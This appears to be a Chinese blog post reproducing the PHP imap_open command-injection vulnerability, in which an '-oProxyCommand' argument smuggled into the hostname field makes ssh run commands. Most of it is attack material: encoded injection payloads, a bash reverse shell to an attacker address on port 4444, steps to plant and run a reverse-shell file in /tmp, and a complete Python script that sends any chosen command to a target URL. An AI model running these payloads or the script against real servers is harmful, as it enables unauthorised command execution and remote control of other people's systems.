php imap远程命令执行漏洞
前言
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
漏洞复现
输入数据,抓包

| 12
 3
 4
 5
 
 | 上述中x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}的意思如下
 使用url编码解码后x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh}
 ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=的意思是echo '1234567890'>/tmp/test0001
 通过-oProxyCommand参数执行命令,x可以是任意值
 
 | 
反弹shell
这里有很多反弹shell的思路,可以直接传入命令执行反弹shell,但是更稳定的方法是写入反弹shell文件,然后执行反弹shell文件获得稳定控制权限,两种方法都行,看个人的喜好
直接构造payload
| 12
 3
 4
 5
 6
 7
 8
 
 | echo "/bin/bash -i >& /dev/tcp/ip/4444 0>&1" > /tmp/123# base64encode
 ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz
 # 将base64编码内容替换
 x+-oProxyCommand%3decho%09[base64编码内容]|base64%09-d|sh}&username=111&password=222
 x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz|base64%09-d|sh}
 # 将base64编码内容再次进行url编码
 x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA%2bIC90bXAvMTIz|base64%09-d|sh}
 
 | 
直接提交
使用/bin/bash触发/tmp/123反弹shell脚本
| 12
 3
 4
 5
 
 | /bin/bash /tmp/123# base64encode
 L2Jpbi9iYXNoIC90bXAvMTIz
 # 替换base64内容后进行url编码
 x+-oProxyCommand%3decho%09L2Jpbi9iYXNoIC90bXAvMTIz|base64%09-d|sh}
 
 | 

拿到shell

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 
 | import requestsimport base64
 from urllib.parse import quote
 
 url = input("请输入url:")
 cmd = input("请输入想要执行的命令:")
 
 def exploit(url, cmd):
 # base64编码
 encodeb64 = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
 # url编码
 encodeb64_url = quote(encodeb64)
 # 构造payload
 payload = f"x+-oProxyCommand%3decho%09{encodeb64_url}|base64%09-d|sh"
 data = {
 "hostname": payload,
 "username": 1,
 "password": 2
 }
 response = requests.post(url, data=data)
 if response.status_code == 200:
 print("[+]利用成功")
 print(response.text)
 else:
 print("利用失败")
 
 if __name__ == "__main__":
 exploit(url, cmd)
 
 |